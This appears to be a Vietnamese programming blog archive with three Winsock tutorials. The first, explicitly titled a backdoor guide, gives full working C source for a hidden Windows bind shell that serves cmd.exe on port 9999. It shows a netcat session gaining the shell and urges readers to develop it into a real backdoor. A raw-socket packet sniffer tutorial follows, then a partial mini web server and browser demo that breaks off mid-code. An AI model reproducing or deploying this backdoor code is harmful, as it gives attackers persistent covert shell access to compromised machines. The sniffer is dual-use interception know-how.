Category Archives: Network Programming

Hướng dẫn viết một backdoor đơn giản trên Windows

Nguyên tắc là cách làm việc của backdoor không giải thích các bạn cũng biết nó gì và cách sử dụng chúng như nào. Một khi backdoor được cài lên giúp kẻ tấn công sẽ thuận tiện hơn khi trở lại server mà mình đã tấn công vào, điều mà chúng ta cần biết là cách viết đổ cmd.exe tử backdoor (tức là kẻ tấn công có shell khi đã có backdoor được cài trên server) như thế nào ?

Đoạn mã viết dưới đây không phải là backdoor mà chỉ đơn thuần là một phần công việc của backdoor. Sau đây mình sẽ hướng dẫn cách viết đổ cmd.exe như thế nào.

Code:

#include <windows.h>
#include <stdio.h>
#include <string.h>

#define PORT 9999	                 //<--Dat cong lang nghe la 9999
#define BANNER	"Seamoun (http://nhomvicki.net) - TcpShell 1.0\n"
#define	MAXRECVBUF	1000	         //Bo dem toi da khi nhan
#define MAXPIPEBUF	1000	         //Bo dem toi da cua pipe
#define WM_SHELL	WM_USER+1	 //Tinh huong tu dinh nghia
#define	MyClass	"Seamoun"	         //Ten lop
#define MyApp	"Seamoun"	         //Ten ung dung

#pragma comment(lib,"wsock32.lib")	 //Gop thu vien wsock32.lib

HANDLE	hThread_out;	
DWORD	dwChildThreadIdOut;
SECURITY_ATTRIBUTES	sa;	
STARTUPINFO	si;
PROCESS_INFORMATION pi;
HANDLE	hPipeOutputRead,hPipeOutputWrite,hPipeInputRead,hPipeInputWrite;
BOOL	NowUsing;
int	sock_listen,sock;
sockaddr_in	addrServer;

void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam);
int	WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
DWORD	__stdcall OutSocket(LPVOID lpData);

int	__stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
                               LPSTR lpCmdLine,int nShowCmd)
{
	HWND hwnd;
 	MSG	 msg;
 	WNDCLASSEX wc;
 	wc.cbClsExtra=0;
 	wc.cbSize=sizeof(wc);
	wc.cbWndExtra=0;
 	wc.hbrBackground=(HBRUSH)COLOR_WINDOW;
 	wc.hCursor=LoadCursor(NULL,IDC_ARROW);
 	wc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
 	wc.hIconSm=0;
 	wc.hInstance=hInstance;
 	wc.lpfnWndProc=(WNDPROC)WndProc;
 	wc.lpszClassName=MyClass;
 	wc.lpszMenuName=0;
 	wc.style=CS_HREDRAW|CS_VREDRAW;

 	RegisterClassEx(&wc);
 	hwnd=CreateWindowEx(NULL,MyClass,MyApp,WS_OVERLAPPEDWINDOW,
                         0,0,0,0,NULL,NULL,hInstance,NULL);
 	ShowWindow(hwnd,SW_HIDE);
 	UpdateWindow(hwnd);
 	while (GetMessage(&msg,0,0,0))
 	{
 		TranslateMessage(&msg);
 		DispatchMessage(&msg);
 	}
 	return msg.wParam;
}

int	WndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
 	WSADATA	wsaData;
 	switch(msg)
 	{
 	case WM_CREATE:
 		if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;
 		if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))
                          ==INVALID_SOCKET) return -1;
 		addrServer.sin_family=AF_INET;
 		addrServer.sin_port=htons(PORT);
 		addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
 		memset(&addrServer.sin_zero,'',8);
 		if (bind(sock_listen,(struct sockaddr *)&addrServer,
                           sizeof(addrServer))==SOCKET_ERROR) return -1;
 		if (listen(sock_listen,1)==SOCKET_ERROR) return -1;
 		if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
 			FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) 
                            return -1;
 		NowUsing=FALSE;
 		break;
 	case WM_CLOSE:
 		PostQuitMessage(wParam);
 		break;
 	case WM_SHELL:
 		GetShell(hwnd,wParam,lParam);
 	default:
 		return (DefWindowProc(hwnd,msg,wParam,lParam));
 	}
 	return 0;
}

void GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
{
 	long lEvent=WSAGETSELECTEVENT(lParam);
 	static char buf[MAXRECVBUF];
 	DWORD	dwNumberOfBytesWrite;
 	int	sock_tmp;
 	UINT	r;
 	sockaddr_in	addrClient;
 	int	sizeClient=sizeof(addrClient);
 	if (lEvent==FD_ACCEPT)
 	{
 		if ((sock_tmp=accept(sock_listen,(struct sockaddr *)
                                    &addrClient,&sizeClient))==INVALID_SOCKET) 
 			 if (WSAGetLastError()!=WSAEWOULDBLOCK) return;
 		if (NowUsing==TRUE)
 		{
 			closesocket(sock_tmp);
 			return;
 		}
 		sock=sock_tmp;
 		send(sock,BANNER,strlen(BANNER),0);
 		NowUsing=TRUE;
 		sa.nLength=sizeof(sa);
 		sa.lpSecurityDescriptor=0;
 		sa.bInheritHandle=TRUE;

 		CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
 		CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

 		memset((void *)&si,'',sizeof(si));
 		memset((void *)&pi,'',sizeof(pi));

 		si.cb=sizeof(si);
 		si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 		si.wShowWindow=SW_HIDE;
 		si.hStdInput=hPipeInputRead;
 		si.hStdOutput=hPipeOutputWrite;
 		si.hStdError=hPipeOutputWrite;

 		CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,
                                NULL,TEXT("c:\\"),&si,&pi);

 		CloseHandle(hPipeInputRead);
 		CloseHandle(hPipeOutputWrite);

 		hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,
                                           &dwChildThreadIdOut);
 		return;
 	}
 	else if (lEvent==FD_CLOSE)
 	{
 		closesocket(sock);
 		TerminateProcess(pi.hProcess,0);
 		TerminateThread(hThread_out,0);
 		CloseHandle(pi.hProcess);
 		CloseHandle(hPipeOutputRead);
 		CloseHandle(hPipeInputWrite);
 		NowUsing=FALSE;
 	}
 	if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
 	buf[r]=0;
 	WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}

DWORD	__stdcall OutSocket(LPVOID lpData)
{
 	char szBuffer[MAXPIPEBUF];
 	DWORD	dwNumberOfBytesRead;
 	for (;;)
 	{
 		if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,
                             &dwNumberOfBytesRead,NULL)==FALSE) continue;
 		if (dwNumberOfBytesRead<=0) continue;
 		FlushFileBuffers(hPipeOutputRead);
 		szBuffer[dwNumberOfBytesRead]=0;
 		send(sock,szBuffer,dwNumberOfBytesRead,0);
 	}
 	return 0;
}

Với đoan mã trên thì phần đăng kí và tạo ra window thì đơn giản, các bạn có thể tham khảo cách lập trình C trên Windows.

Để khỏi dài dòng mình chỉ nói phần đổ cmd.exe như thế nào mà thôi !

1) Trong tình huống WM_CREATE (tức là khi đang tạo Windows) chúng ta có đoạn mã sau:
Code:

// Khởi tạo thư viện Winsock
if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return -1;         
 	if ((sock_listen=socket(AF_INET,SOCK_STREAM,0))
                       ==INVALID_SOCKET) return -1;           // Tạo socket listen.

 	// Định nghĩa giá trị cho biến cấu trúc sockaddr_in addrServer
 	addrServer.sin_family=AF_INET;	
 	addrServer.sin_port=htons(PORT);
 	addrServer.sin_addr.s_addr=htonl(INADDR_ANY);
 	memset(&addrServer.sin_zero,'',8);
 	//--------------------------------------------------------------------
 	if (bind(sock_listen,(struct sockaddr *)&addrServer,
              sizeof(addrServer))==SOCKET_ERROR) return -1;// Bind socket listen.
 	if (listen(sock_listen,1)==SOCKET_ERROR) return -1;// Đặt chế độ lắng nghe.

 	// Tạo những tình huống riêng (ở đây mình lấy tên tình huống riêng là 
        // WM_SHELL các bạn có thể lấy tên khác tùy ý 
        // miễn là nó được định nghĩa WM_USER +x).
 	if (WSAAsyncSelect(sock_listen,hwnd,WM_SHELL,
 		FD_CLOSE|FD_ACCEPT|FD_READ|FD_WRITE)==SOCKET_ERROR) return -1;
 	NowUsing=FALSE;	// Đây đơn giản là biến dùng để 
                        // đánh dấu socket đang dùng hay là không dùng nữa.

2) Giải thích mã của hai hàm GetShell và OutSocket
Code:

//Hàm GetShell (HWND hwnd,WPARAM wParam,LPARAM lParam)
 	long lEvent=WSAGETSELECTEVENT(lParam);	// Lấy sự kiện
 	static char buf[MAXRECVBUF];	        // Khai báo biến buf để
 	DWORD	dwNumberOfBytesWrite;	
 	int	sock_tmp;	                // Khai báo một socket trung gian
 	UINT	r;
 	sockaddr_in	addrClient;
 	int	sizeClient=sizeof(addrClient);
 	// Khi có kết nối đến từ máy client - 
        // Ở đây kết nối được chấp nhận và sử lý như sau:
 	if (lEvent==FD_ACCEPT)
 	{
 		if ((sock_tmp=accept(sock_listen,(struct sockaddr *)
                                 &addrClient,&sizeClient))==INVALID_SOCKET) 
 			 if (WSAGetLastError()!=WSAEWOULDBLOCK) return;

 		// Nếu như đang sử dụng thì đóng socket này lại	
 		if (NowUsing==TRUE)
 		{
 			closesocket(sock_tmp);
 			return;
 		}
 		sock=sock_tmp;
 		send(sock,BANNER,strlen(BANNER),0);
 		NowUsing=TRUE;

 		sa.nLength=sizeof(sa);
 		sa.lpSecurityDescriptor=0;
 		sa.bInheritHandle=TRUE;

 		// Tạo hai luồng dẫn dùng để đổ cmd.exe. 
                // Một luồng dùng để nhận lệnh từ client gửi đến 
                // và một luồng dùng để xuất kết quả trả về cho client.
 		CreatePipe(&hPipeOutputRead,&hPipeOutputWrite,&sa,5000);
 		CreatePipe(&hPipeInputRead,&hPipeInputWrite,&sa,5000);

 		memset((void *)&si,'',sizeof(si));
 		memset((void *)&pi,'',sizeof(pi));
 		// Khởi tạo một số thông số cho biến cấu trúc SI 
                // (Startup Information: thông tin khởi động)
 		si.cb=sizeof(si);
 		si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 		si.wShowWindow=SW_HIDE;
 		si.hStdInput=hPipeInputRead;
 		si.hStdOutput=hPipeOutputWrite;
 		si.hStdError=hPipeOutputWrite;

                // Tạo một tiến trình mới. Mà ở đây là chạy cmd.exe.
                CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,0,
                              NULL,TEXT("c:\\"),&si,&pi);
 		CloseHandle(hPipeInputRead);
 		CloseHandle(hPipeOutputWrite);
 		// Tạo luồng trong tiến trình mới với mục đích là đọc ghi dữ liệu.
 		hThread_out=CreateThread(NULL,0,OutSocket,NULL,NULL,
                                       &dwChildThreadIdOut);
 		return;
 	}
 	else if (lEvent==FD_CLOSE)
 	{
 	// Đóng tất các các handle khi xuất hiện tình huống FD_CLOSE.
 		closesocket(sock);
 		TerminateProcess(pi.hProcess,0);
 		TerminateThread(hThread_out,0);
 		CloseHandle(pi.hProcess);
 		CloseHandle(hPipeOutputRead);
 		CloseHandle(hPipeInputWrite);
 		NowUsing=FALSE;
 	}
 	if ((r=recv(sock,buf,MAXRECVBUF,0))==SOCKET_ERROR) return;
 	buf[r]=0;
 	// Nhận dữ liệu từ client và ghi đến CMD.EXE.
 	WriteFile(hPipeInputWrite,&buf,r,&dwNumberOfBytesWrite,NULL);
}

3. Giải thích mã hàm OutSocket:

Code:

DWORD	__stdcall OutSocket(LPVOID lpData)
{
 	char szBuffer[MAXPIPEBUF];
 	DWORD	dwNumberOfBytesRead;
 	//Tạo vòng lặp vô tận để nhận kết quả trả về từ CMD.EXE
 	for (;;)
 	{
 		if (ReadFile(hPipeOutputRead,&szBuffer,MAXPIPEBUF,
                         &dwNumberOfBytesRead,NULL)==FALSE) continue;
 		if (dwNumberOfBytesRead<=0) continue;
 		FlushFileBuffers(hPipeOutputRead);
                //Thêm kí tự kết thúc chuỗi trong dữ liệu trả về.
 		szBuffer[dwNumberOfBytesRead]=0;
 		//Hiển thị kết quả CMD.EXE trả về ra màn hình client.
 		send(sock,szBuffer,dwNumberOfBytesRead,0);
 	}
 	return 0;
}

Biên dịch đoạn mã trên và thực thi nó sẽ có kết quả như sau:
tcpshell sẽ lắng nghe trên cổng 9999. Chúng ta kết nối đến cổng 9999 bằng netcat để xem tcpshell đổ cmd.exe như thế nào

Code:

d:\>nx -vv -n 10.0.0.1 9999
 (UNKNOWN) [10.0.0.1] 9999 (?) open
 Seamoun (http://nhomvicki.net) - TcpShell 1.0
 Microsoft Windows 2000 [Version 5.00.2195]
 (C) Copyright 1985-2000 Microsoft Corp.

 c:\>	<--- Vậy là đã có shell

Sau bài này các bạn có thể phát triển tiếp cho mã trên trở thành một con backdoor thực sự !
Bài này mình viết cũng khá lâu rồi, sẵn dịp ôn lại kiến thức nên share cho mọi người tham khảo.

Hướng dẫn viết một chương trình Sniffer

Bài này mình hướng dẫn các bạn viết một sniffer (nghe lén) packet đơn giản trên Windows. Để lập trình được thì cần các bạn cần có kiến thức trình socket  với thư viện Winsock trong ngôn ngữ C.

Với cách lập trình socket thông thường chúng ta sử dụng SOCK_STREAM, SOCK_DGRAM tức lập trình ở mức Application của mạng mà thôi, để lập trình ở mức thấp nhất (tức tầng Network trong 4 tầng của Internet: Tầng Network Access –> Tầng Internet –> Tầng Transport –> Tầng Application) sử dụng SOCK_RAW là một dạng socket “thô”.

Điều đầu tiên bao giờ chúng ta cũng phải khởi tạo thư viện Winsock. Hàm khởi tạo thư viện như sau:
Code:

void InitWinSock()
 {
 	WSADATA wsaData;
 	if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return;
 }

Chi tiết hàm WSAStartup có thể xem trợ giúp của MSDN … 

Cách tạo một Raw Socket như sau:
Code:

int	CreateRawSocket()
 {
 	int	sock;
 	if ((sock=WSASocket(AF_INET,SOCK_RAW,0,NULL,NULL,WSA_FLAG_OVERLAPPED))
                    ==INVALID_SOCKET) return 0;
 	return sock;
 }

Hàm trên trả về một socket mới nếu như không gặp lỗi.

Như chúng ta đã biết mô hình mạng Internet được phân chia thành 4 tầng (Tầng Network Access <–> Tầng Internet <–> Tầng Transport <–> Tầng Application) tương ứng với 7 tầng của mô hình OSI (Tầng Physical <–> Tầng Data Link <–> Tầng Network <–> Tầng Transport <–> Tầng Session <—> Tầng Presentation <–> Tầng Application). Mình không phải nhắc lại mô hình OSI như thế nào vì có rất nhiều bài viết đã nói đến OSI.

Giới thiệu cấu trúc của gói IP, TCP, ICMP

1. Gói IP:

Định nghĩa một struct mô tả gói IP.
Code:

struct ip_hdr{
 	unsigned	char	ver_ihl; //<-- Version (4 bits)
                                         // + Internet Header Length (4 bits)
 	unsigned	char	tos;	 //<-- Type Of Service
 	unsigned short	tol_len	         //<-- Total Length 
                                         // (Ip Header + TCP Header + Data)
 	unsigned	short	id	 //<-- Identification
 	unsigned	short	offset	 //<-- Frame Offset trong đó
                                         // 8 bits cho flags
 	unsigned	char	ttl	 //<-- Time to Live
 	unsigned char	protocol	 //<-- Protocol
 	unsigned short	checksum         //<-- Header Checksum
 	unsigned int	saddr	         //<-- Source Address
 	unsigned	int	daddr	 //<-- Destination Address
 };

2. Gói TCP:

Định nghĩa một struct mô tả gói TCP.
Code:

struct tcp_hdr{
 	unsigned	short	sport	  //<-- Source Port
 	unsigned short	dport	          //<-- Destiantion Port
 	unsigned int	seq_num	          //<-- Sequence Number
 	unsigned	int	ack_num	  //<-- Acknowledgment Number
 	unsigned char	dataoffset        //<--Data Offset
 	unsigned char	flags	          //Flags: SYN, ACK, FIN, RST, PUSH,
                                          // URG (2 bits) + 6 bits Reserve
 	unsigned short	window	          // Windows
 	unsigned short	checksum          // Checksum
 	unsigned short	urgpointer        // Urgent Pointer
};

3. Gói ICMP:

Định nghĩa một struct mô tả gói ICMP
Code:

struct icmp_hdr{
 	unsigned char	type	          // Type
 	unsigned char	code	          // Code
 	unsigned short	checksum
 	unsigned short	id	          // Identification
 	unsigned short	sequence
 	unsigned short	timestamp
};

Ở trên là toàn bộ định nghĩa về các gói IP, ICMP, TCP. Trong bài này mình chỉ hướng dẫn bắt các gói TCP và ICMP mà thôi, còn các gói khác thì có thể làm tương tự.

Code:

#include <winsock2.h>
#include <stdio.h>
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#pragma comment (lib,"ws2_32.lib")
void	InitWinSock();
int		CreateRawSocket();
int		Sniffer(int	sock);
int		packetcapture(char *packet);
int		tcp_display(struct ip_hdr	*ip,struct tcp_hdr *tcp);
int		icmp_display(struct ip_hdr *ip,struct icmp_hdr *icmp);

struct ip_hdr
{
 	unsigned char	ver_ihl;          // VER va IHL (Internet Header Length)
 	unsigned char	tos;	          // Type of Server
 	unsigned short	tol_len;          // Total Length
                                          // =IpHeader + TCP Header + Data
 	unsigned short	id;		  // Identification
 	unsigned short	offset;	          // Frame offset
 	unsigned char	ttl;	          // Time To Live
 	unsigned char	protocol;
 	unsigned short	checksum;
 	unsigned int	saddr;	          // Source Address
 	unsigned int	daddr;	          // Destination Address
};

struct tcp_hdr
{
	unsigned short	sport;	          // Source Port
 	unsigned short	dport;	          // Detinations Port	
 	unsigned int	seqnum;	          // Sequence;
 	unsigned int	acknum;	          // Acknowlege
 	unsigned char	dataoffset;	  // Data Offset
 	unsigned char	flags;	          // SYN, URG, FIN, ACK, 
                                          // RST, PUSH + Preserve
 	unsigned short  windows;
 	unsigned short	checksum;
 	unsigned short	urgpointer;
};

struct icmp_hdr
{
 	unsigned char	type;
 	unsigned char	code;
 	unsigned short	checksum;
 	unsigned short	id;
 	unsigned short	sequence;
 	unsigned short	timestamp;
};

int	socksniffer;

int	main()
{
 	InitWinSock();
 	socksniffer=CreateRawSocket();
 	printf("Seamoun (http://nhomvicki.net)\n");
 	printf("Sniffer TCP, ICMP v1.0\n\n");
 	printf("          Packet Capture ...\n");
 	Sniffer(socksniffer);
 	return 0;
}

//Ham khoi tao thu vien WinSock
void InitWinSock()
{
 	WSADATA wsaData;
 	if (WSAStartup(MAKEWORD(1,1),&wsaData)!=0) return;
}

//Ham tao RawSocket
int	CreateRawSocket()
{
 	int	sock;
 	if ((sock=WSASocket(AF_INET,SOCK_RAW,0,NULL,NULL,WSA_FLAG_OVERLAPPED))                                                        ==INVALID_SOCKET) return 0;
 	return sock;
}

//Ham thuc hien Sniffer
int	Sniffer(int sock)
{
 	DWORD dwBufferLen[10], dwBufferInLen = 1, dwBytesReturned = 0;
 	char *HostName=new char [32];
 	unsigned long	nSize=32;
 	struct	hostent	*hp;
 	sockaddr_in	from,dest;
 	int	sread,fromlen=sizeof(from);
 	char *packet=new char [2048];
 	if (GetComputerName(HostName,&nSize)==0) return -1;
 	if ((hp=gethostbyname(HostName))==0) return -1;
 	delete(HostName);
 	int	i=0;
 	while ((hp->h_addr_list[i+1])!=NULL)
 	{
 		i++;
 	}
 	memcpy(&from.sin_addr.s_addr,hp->h_addr_list[i],hp->h_length);
 	if ((hp=gethostbyname(inet_ntoa(from.sin_addr)))==NULL) return -1;
 	memset(&dest,0,sizeof(dest));
	memcpy(&dest.sin_addr.s_addr,hp->h_addr_list[0],hp->h_length);
 	dest.sin_family=AF_INET;
 	dest.sin_port=htons(8000);
 	if (bind(sock,(struct sockaddr *)&dest,sizeof(dest))==SOCKET_ERROR)
                 return -1;

 	//WSAIoctl: dieu khien vao ra socket
 	if(WSAIoctl(sock, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen),
                     &dwBufferLen, sizeof(dwBufferLen),
                     &dwBytesReturned, NULL, NULL) == SOCKET_ERROR)
         return(-1);

 	//Don nhan va su ly goi du lieu
 	while (1)
 	{
 		sread=recvfrom(sock,packet,8191,0,
                                (struct sockaddr *)&from.sin_addr, &fromlen);
 		if ((sread==SOCKET_ERROR)||sread<0) continue ;
 		packetcapture(packet);
 	}
 	delete(packet);
 	return 0;
}

//Ham thuc hien phan tich goi du lieu
int	packetcapture(char *packet)
{
 	struct ip_hdr	*ip;
 	struct tcp_hdr	*tcp;
 	struct icmp_hdr	*icmp;
 	ip=(struct ip_hdr *)packet;
 	tcp=(struct tcp_hdr *)(packet+sizeof(struct ip_hdr));
 	icmp=(struct icmp_hdr *)(packet+sizeof(struct ip_hdr));
 	switch(ip->protocol)
 	{
 	case 6:
 		tcp_display(ip,tcp);
 		break;
 	case 1:
 		icmp_display(ip,icmp);
 		break;
 	default:
 		break;
 	}
 	return 0;
}

//Ham hien thi goi TCP
int	tcp_display(ip_hdr *ip,tcp_hdr *tcp)
{
 	printf("TCP: [%d] %s:%d", ntohs(ip->tol_len), 
                 inet_ntoa(*(struct in_addr *)&ip->saddr), ntohs(tcp->sport));
 	printf(" > %s:%d|ttl = %d|win = %d|checksum = %d|flag = %d\n\n", 
                 inet_ntoa(*(struct in_addr *)&ip->daddr), 
 	         ntohs(tcp->dport), ip->ttl, ntohs(tcp->windows), 
                 tcp->checksum, tcp->flags);
 	return 0;
}

//Ham hien thi goi ICMP
int icmp_display(struct ip_hdr *ip, struct icmp_hdr *icmp)
{  	
 	printf("ICMP: [%d] %s", ntohs(ip->tol_len), 
                 inet_ntoa(*(struct in_addr *)&ip->saddr));
 	printf(" > %s type = %d|code = %d|ttl = %d|seq = %x\n", 
                 inet_ntoa(*(struct in_addr *)&ip->daddr), 
                 icmp->type, icmp->code, ip->ttl, ntohs(icmp->sequence));
 	return 0;
}

Kết quả khi chạy chương trình:

+ Thực hiện gửi gói ICMP bằng cách dùng lệnh PING:
Code:

C:\>ping 10.0.0.2
 Reply from 10.0.0.2: bytes=32 time<10ms TTL=64
 Reply from 10.0.0.2: bytes=32 time=15ms TTL=64
 Reply from 10.0.0.2: bytes=32 time=15ms TTL=64
 Reply from 10.0.0.2: bytes=32 time=15ms TTL=64

 Ping statistics for 10.0.0.2:
     Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
 Approximate round trip times in milli-seconds:
     Minimum = 0ms, Maximum =  15ms, Average =  11ms

 Chương trình Sniffer:
Seamoun (http://nhomvicki.net)
Sniffer TCP, ICMP v1.0
           Packet Capture ...
ICMP: [60] 10.0.0.1 > 10.0.0.2 type = 8|code = 0|ttl = 128|seq = 3d00
ICMP: [60] 10.0.0.2 > 10.0.0.1 type = 0|code = 0|ttl = 64|seq = 3d00
ICMP: [60] 10.0.0.1 > 10.0.0.2 type = 8|code = 0|ttl = 128|seq = 3e00
ICMP: [60] 10.0.0.2 > 10.0.0.1 type = 0|code = 0|ttl = 64|seq = 3e00
ICMP: [60] 10.0.0.1 > 10.0.0.2 type = 8|code = 0|ttl = 128|seq = 3f00
ICMP: [60] 10.0.0.2 > 10.0.0.1 type = 0|code = 0|ttl = 64|seq = 3f00
ICMP: [60] 10.0.0.1 > 10.0.0.2 type = 8|code = 0|ttl = 128|seq = 4000
ICMP: [60] 10.0.0.2 > 10.0.0.1 type = 0|code = 0|ttl = 64|seq = 4000

+Thực hiện gửi gói TCP bằng Netcat:
Code:

C:\>nx -vv -n 10.0.0.1
Chương trình Sniffer:
Seamoun (http://nhomvicki.net)
Sniffer TCP, ICMP v1.0
          Packet Capture ...
TCP: [64] 10.0.0.1:80 > 10.0.0.2:1033|ttl = 128|win = 64240|checksum = 55340|flag 
= 18
TCP: [60] 10.0.0.2:1033 > 10.0.0.1:80|ttl = 64|win = 5840|checksum = 5942|flag 
= 2
TCP: [52] 10.0.0.2:1033 > 10.0.0.1:80|ttl = 64|win = 5840|checksum = 23589|flag 
= 16

Lập Trình Mạng Với Thư Viện Winsock trên VC++ (Part 3)

V. DEMO MINI WEBSERVER

Thật ra ở đây mình không có tham vọng làm 1 Web Server thực sự như IIS hay Apache đâu? Mình chỉ muốn dùng Winsock để làm 1 chương trình có thể biến máy tính bạn thành 1 máy chủ Web. Nghĩa là có ai đó truy cập vào thì nó sẽ trả lại 1 Webpage.

Trước hết mình xin giới thiệu giao thức HTTP.

1. Giao thức HTTP

Bước 1: Giả sử người sử dụng gõ địa chỉ URL là:http://webserver.com/Page?ID=1″

Lúc này thì Client tại người sử dụng sẽ Connect tới Webserver và gởi một nội dung Request như sau:

GET /Page?ID=1 HTTP/1.1
Host: webserver.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Nội dung trên bao gồm:
– GET (lấy trang web). Ngoài ra còn có POST
– Host: Tên SERVER muốn kết nối!
– User-Agent: Tên chương trình Web Browser
– Ngoài ra còn một số thông tin về ngôn ngữ.

Nếu khi đã nhận được trang WEB mà trong Web còn có hình ảnh hay âm thanh thì tiếp tục gởi Request tới Server
Như:
GET /samples/images/IMAGE.jpg HTTP/1.1

Bước 2: Xử lý tại Server

Lúc này tại Web Server sẽ làm gì?
Nó sẽ gửi lại 1 Header như sau:
HTTP/1.0 200 OK
Server: <TÊN SERVER>
Date:
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified:
Content-Length: <kich thuoc trang WEB>

Và sau đó nó sẽ căn cứ vào yêu cầu của Client: GET /Page?ID=1 HTTP/1.1 để gửi trả lại 1 trang HTML hoặc file hình ảnh, âm thanh… tương ứng.
Ví dụ như:
<html>
<head><title>DEMO WEBSERVER – WINSOCKC++</title></head>
<body>
<h1>Hello eXecutve!</h1>
<br>
CopyRight 2007 by eXecutive;
stairwaytoheaven187@yahoo.com
</body>
</html>

2. Chương trình DEMO

Như vậy đã đủ. Chúng ta sẽ viết chương trình.

Hàm Thiết lập lắng nghe trên PORT 80

 #define MY_PORT 80
..
..
int SetupIPWS(SOCKET& ListenSock,sockaddr_in& MyListenIP)
{
MyListenIP.sin_family = AF_INET;
MyListenIP.sin_port = htons( MY_PORT );       // PORT 80
MyListenIP.sin_addr.s_addr = INADDR_ANY; // IP của mình
int nResult = bind(ListenSock, (sockaddr*) &MyListenIP,sizeof(MyListenIP));  // Gán IP PORT vào SOCKET
if (nResult == -1){
cout << “Loi khi thiet lap IP va PORT\n”;
WSAGetLastError();
ShutdownWS(ListenSock);
return 1;
}
return 0;
}

Hàm lắng nghe phục vụ kết nối.

void LoopListen(SOCKET& ListenSock,sockaddr_in& MyListenIP){
SOCKET NewConnection;
sockaddr_in ConnectClient;
int nSizeAddr;
int nResult = listen(ListenSock,10);           // Lắng nghe kết nối
if (nResult == -1){
cout << “Khong the lang nghe ket noi\n”;
WSAGetLastError();
return;
}
cout << “Dang lang nghe ket noi… tai IP: ” << inet_ntoa(MyListenIP.sin_addr)
<< ” PORT: ” << MyListenIP.sin_port << “\nCTRL + C de STOP SERVER\n\n”;
char lpBuffRevc[1024]={0}; // Nội dung nhận từ  CLIENT (REQUEST)
// Nội dung gửi trả lại  CLIENT
char headers[] =        ”HTTP/1.0 200 OK\r\n”
“Server: eXecutive Winsock Server\r\n”
“Date: Sat, 3 November 2007\r\n”
“Content-Type: text/html\r\n”
“Accept-Ranges: bytes\r\n”
“Content-Length: 187\r\n”
“\r\n”;           // Kết thức Header \n
char html[] =              ”<html>”
“<head><title>DEMO WEBSERVER – WINSOCK C++ – CopyRight eXecutive</title></head> \r\n”
“<body>\r\n”
“<h1>Hello eXecutve!</h1>\r\n”
“<br>\r\n”
“CopyRight 2007 by eXecutive<br> \r\n”
“stairwaytoheaven187@yahoo.com\r\n”
“</body>\r\n”
“</html>\r\n\n”; // Kết thúc trang web bằng \n\n
while (1){
nSizeAddr = sizeof(sockaddr);        // Quan trọng! Xác định kích thước sockaddr
NewConnection = accept(ListenSock, (sockaddr*) &ConnectClient, &nSizeAddr);    // Chấp nhận 1 kết nối
if (NewConnection == -1){
cout << “Loi ket noi tu Client\n”;
continue;
}
cout << “Nhan ket noi tu: “<< inet_ntoa(ConnectClient.sin_addr) << “\n”;
cout << “\nNoi dung nhan:\n\n”;
// Xóa nội dung REQUEST trước và nhận  REQUEST mới.
memset(lpBuffRevc,0,sizeof(lpBuffRevc));
recv(NewConnection,lpBuffRevc, sizeof(lpBuffRevc) ,0);
/*
XỬ  LÝ REQUEST => Ở ĐÂY MÌNH 1 KHÔNG 1 WEBSERVER CHUYỆN NGHIỆP NÊN BỎ QUA.
*/
// Gửi HEADER của SERVER và trang HTML
send(NewConnection,headers,sizeof(headers),0);
send(NewConnection,html,sizeof(html),0);
cout << lpBuffRevc << “\n”;
// Đóng kết nối!
closesocket(NewConnection);
}
}

Có lẽ 1 chương trình kỳ cục. While(1) không có điều kiện kết thúc. Nhưng đó là cách hoat động của SERVER, 1 chương trình có thể chạy quanh năm suốt tháng. Do đó nên không có vấn đề gì?

Địa chỉ mà mình gõ là “http://localhost” tức là địa chỉ cục bộ = “http://127.0.0.1″= “http://192.168.1.254″ (nếu máy tính của mình đặt IP này)

VI. DEMO MINI WEB BROWSER

Lần này mình sẽ DEMO 1 Web Browser.

Chương trình như sau:
– Người dùng nhập vào địa chỉ Website
– Kết nối và lấy nội dung HTML về lưu lại thành file RESPONSE.htm

1. Các thao tác tại WEB BROWSER

a. Nhận địa chỉ Website và phân giải tên miền thành địa chỉ IP.

char lpDomain[100];
cout << “\n\nNhap ten mien can truy cap: http://”;
cin.getline(lpDomain,100);
hostent *ConnectPC=NULL;
ConnectPC = gethostbyname(lpDomain);  // Lay PC theo Tên Domain
if (!ConnectPC){
cout << “DNS khong the phan giai duoc ten mien nay …\n”;
return 1;
}
ConnectIP.sin_family = AF_INET;
ConnectIP.sin_port = htons(  MY_PORT );
ConnectIP.sin_addr.s_addr = (*(DWORD*)ConnectPC->h_addr_list[0]); // Lay IP
cout << “\nMay chu:”;
